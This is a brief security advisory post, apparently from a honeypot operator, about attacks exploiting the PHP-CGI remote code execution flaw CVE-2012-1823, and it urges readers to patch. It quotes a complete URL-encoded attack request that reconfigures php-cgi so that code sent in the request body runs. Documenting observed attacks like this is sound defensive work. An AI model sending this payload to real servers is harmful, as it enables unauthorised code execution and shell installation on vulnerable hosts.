Apache / PHP 5.x Remote Code Execution

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Posted: 2015-12-12 by Admin

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We currently register more attacks on our honeypot system that want to exploit a specific vulnerability in Apache and PHP. This vulnerability is a remote code execution vulnerability that allows attackers to install a shell on the attacked servers. Here you can learn more about this vulnerability: CVE-2012-1823 This vulnerability is known since last year and fixed for some time, but it seems as if there are still vulnerable server on the Internet. Here a example of how such an attack in the log file might look like:

/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%
64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%
6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%
3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F
%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63
%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64
%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65
%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E&

We would like to point out that you check your versions of the vulnerable programs and optionally perform an update.